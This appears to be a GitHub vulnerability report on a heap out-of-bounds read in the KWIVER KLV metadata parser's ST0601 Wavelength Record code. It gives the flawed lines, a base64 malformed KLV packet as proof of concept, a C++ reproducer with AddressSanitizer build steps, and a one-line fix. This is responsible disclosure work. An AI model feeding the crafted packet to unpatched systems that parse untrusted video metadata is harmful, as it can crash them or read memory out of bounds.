Skip to content

Heap out-of-bounds read in ST0601 Wavelength Record parser (arrows/klv) #1847

Description

@pventuzelo

ST0601 Wavelength Record — heap out-of-bounds read

Project: KWIVER — arrows/klv (KLV / MISB motion-imagery metadata parser)
Affected version: master @ af3554f1f (v1.8.0-1260-gaf3554f1f) — current tip
Severity: Medium (OOB read)
Location: arrows/klv/klv_0601.cxx — klv_0601_wavelength_record_format::read_typed
Entry point: kwiver::arrows::klv::klv_read_packet() on untrusted KLV bytes
(e.g. metadata embedded in a MISB motion-imagery stream) — no authentication or
special state required.
Detection: AddressSanitizer

Description

Two hard-coded 4-byte IMAP reads that ignore the remaining length:

result.min = klv_read_imap( { 0.0, 1.0e9 }, data, 4 );  // hard-coded 4
result.max = klv_read_imap( { 0.0, 1.0e9 }, data, 4 );  // hard-coded 4

Impact: if fewer than 8 bytes remain after the id, these read past the
buffer.

The reader helpers (klv_read_int, klv_read_imap, klv_read_string) do no
buffer-bounds check — they trust the caller to pass a valid length. The safe
pattern used elsewhere in the codebase is tracker.verify(n), which returns n
if n bytes remain in the field and otherwise throws metadata_buffer_overflow.

Proof of concept

Raw KLV packet (971 bytes), base64 — decode with base64 -d:

Bg4rNAILAQEOAQMBAQAAAIIDuAECAAACCAAAAAAAAAAAAwEABAEABQIAAAYCfgAHAgAACAEAAAAA
AAAAAQEADAEADQQAAAAADgQAAAAADwIAABACAAARAgAAEgQAAAAAEwQAAAAAFAQAAAAAFQQAAgAA
ABYAABcEAAAAABgEAAAAABkCAAAaAgAAGwIAAAEBAAAcAgAAHQIAAB4CAAAfAQAAAAAAABECAAAg
AgAAIQIAACIBACMCAAAkAQAlAgAAJgIAACcBACgEAAAAACkEAAAAACoCAAArAQAsAQAtAgAALgIA
AC8BADABADECAAAyAgAAMwIAADQCAAA1AgAANgIAADcBADgBADkEAAAAADoCAAA7AQA8AgAAPQEA
AQAAPwA+AkACAABBAQBCAQBDBAAAAABEBAAAAABFAgAARgEARwIISAAIAAAAAAAAAABJAQBKAQBL
AgAATAIAAE0BAE4CAABPAgAAUAIAAFEBAFIEAAAAAFMEAAAAAFQEAAAAAFUEAAAAAFYEAAAAIABX
BAAAAABYAAQAAAAAWQQAAAAAWgQAAAAAWwQAAAAAXAQAAAAAXQQAAAAAXgEAXwEvYAMAAABhAQBi
AQBjAQBkAQBlAQBmAQBnAwAAAGgDAAAAaQMAAABqAQBrAQBsAQBtBAAAAABuAQBvAQAAOQQAcAIA
AHEDAAAAcgMAAABzAQB0AQB1AwAAAHYDAAAAdwMAAAB4AgAAeQH/////////AHoBAHsBAHwBAH0B
AH4BAH8BAIEAAQCBAQEEAAAACAAAACECAAAiAQAjAgAAJAEAJQIAACYCAAAnAQAoBAAAAAApBAAA
AAAqAgAAKwEALAF4eHh4AC0CAAAuAgIALwEAMAEAMQIAADICAAAzAgAANAIAADUCAAA2AgAANwEA
OAEAOQQAAAAAOgIAADsBADwCAAA9AQA+AgAAPwEAQAIAAEEBAEIBAEMEAAAAAEQEAAAAAEUCAABG
AQBHAgAASAgIAAAAAAAAAEkBAEoBAEsCAABMAgAbXgBNAQBOAgAATwIAAFACAABRAQBSBAAAAABT
BAAAAABUBAAAAABVBAAAAABWBAAAAABXBAAAAAAAAFgEAAAAAFkEAAAAAFoEAAAAAFtgbwILuHAC
H0BxAwX1AHIDBQQAAAAAXAQAACEAAF0EAAAAAF4BAF8BL2ADAAAAYQEAYgEAYwEAZAEAZQEAZgEA
ZwM4NA0EVZW2bQ4EAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIEMAQCBAAcCAAAIAYEP
AQA=

Reproduction

No fuzzing engine or custom harness required — only the public KLV API and an
AddressSanitizer build of kwiver_algo_klv:

base64 -d poc.b64 > poc.klv          # poc.b64 = the base64 block above
ASAN_OPTIONS=detect_leaks=0 ./repro_klv poc.klv

→ AddressSanitizer: container-overflow / heap-buffer-overflow READ in klv_0601_wavelength_record_format::read_typed.

Standalone reproducer — repro_klv.cxx (public KLV API only, no fuzzer)
#include <arrows/klv/klv_packet.h>
#include <cstdint>
#include <cstdio>
#include <fstream>
#include <vector>
using namespace kwiver::arrows::klv;

int main( int argc, char** argv )
{
  std::ifstream in( argv[1], std::ios::binary );
  std::vector< uint8_t > buf( ( std::istreambuf_iterator< char >( in ) ),
                              std::istreambuf_iterator< char >() );
  klv_read_iter_t it = buf.data();
  klv_read_iter_t const end = buf.data() + buf.size();
  while( it < end ) {                       // consume as a KLV stream
    klv_read_iter_t const before = it;
    try { (void) klv_read_packet( it, static_cast< size_t >( end - it ) ); }
    catch( std::exception const& e ) { std::printf( "rejected: %s\n", e.what() ); break; }
    if( it <= before ) break;
  }
  return 0;
}

Build against an AddressSanitizer build of kwiver_algo_klv:

clang++ -std=c++17 -g -fsanitize=address repro_klv.cxx \
  -I<kwiver_src> -I<kwiver_build> \
  -L<kwiver_build>/lib -lkwiver_algo_klv -lvital -lvital_logger \
     -lvital_exceptions -lvital_util -lvital_config -lvital_types \
  -Wl,-rpath,<kwiver_build>/lib -o repro_klv

Suggested fix

result.min = klv_read_imap( { 0.0, 1.0e9 }, data, tracker.verify( 4 ) );
result.max = klv_read_imap( { 0.0, 1.0e9 }, data, tracker.verify( 4 ) );

Reported by patrick@fuzzinglabs.com (FuzzingLabs). Reproduced on master
(af3554f1f); the fix above was verified to eliminate the AddressSanitizer
error.

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions